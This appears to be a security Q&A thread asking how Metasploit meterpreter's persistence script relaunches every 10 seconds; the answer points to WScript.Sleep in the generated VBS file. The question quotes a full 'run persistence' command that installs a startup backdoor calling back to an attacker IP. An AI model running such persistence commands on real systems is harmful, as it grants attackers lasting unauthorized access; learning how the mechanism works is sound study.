3

When we remote exploit a target with meterpreter, we can use the command run persistence -U -i 10 -p 12345 -r 192.168.1.1 to make a persistent program that will try to connect to the machine which IP address is 192.168.1.1 on the port 12345 every 10 seconds.

When I used the task monitor on the target machine, I saw that the persistent program really executes every 10 seconds trying to connect back to the attacker machine, and if no response is found, then the program just shutdown itself.

What I wanna know is : How does this program (or script) launch itself every 10 seconds (I know he isn't using sleep() or a thread because no other new process is showing in the task monitor).

I did look in Windows registry, and just found that this script launch itself in the startup, but I don't understand how he periodically launches itself.

3

From the source code of the meterpreter persistence script, the delay parameter is passed to the VBS executable that is created.

When you check the VBS creation code, you can see that it runs WScript.Sleep

When you say that persistence does not run sleep(), I assume you mean that it isn't running that function in in the shell, and it isn't. But it is running the similar function in the VBS executable.

Remember to always check the source code. The answers are always there.

  • Thanks bro. I did check the source code, but I'm not familiar with Ruby and vbs. Is there any way to do this in C language ??!! – Sidahmed Apr 3 '16 at 16:24
  • Do what in C? By the way, I cannot code in Ruby or VBS - but code is code, and object-orientation is object orientation. You just follow the trail of code and what is passed to each function in the chain. – schroeder Apr 3 '16 at 16:29
  • Stopping completely the current program and launch it back after x seconds ??!! – Sidahmed Apr 3 '16 at 16:34
  • 3
    Ok, I'm going to take a risk in saying this, and this is NOT meant as an insult, but as an encouragement, so take this in the best light possible. Here it goes: if you can't read and interpret the well written and expertly documented Ruby code of Metasploit, then you might need to pause your exploit learning and learn enough coding practice so that you can. Not being able to trace the simple Ruby code of Msf means that you are going to be severely limited in what you will be able to accomplish in exploiting machines in general. You don't need to learn how to program, simply how to read code. – schroeder Apr 3 '16 at 16:35
  • Yes, of course you can do the same thing in C - why do you ask? Are you asking how to modify meterpreter to do persistence in C instead of vbs? – schroeder Apr 3 '16 at 16:36

Your Answer

By clicking “Post Your Answer”, you agree to our terms of service, privacy policy and cookie policy

Not the answer you're looking for? Browse other questions tagged or ask your own question.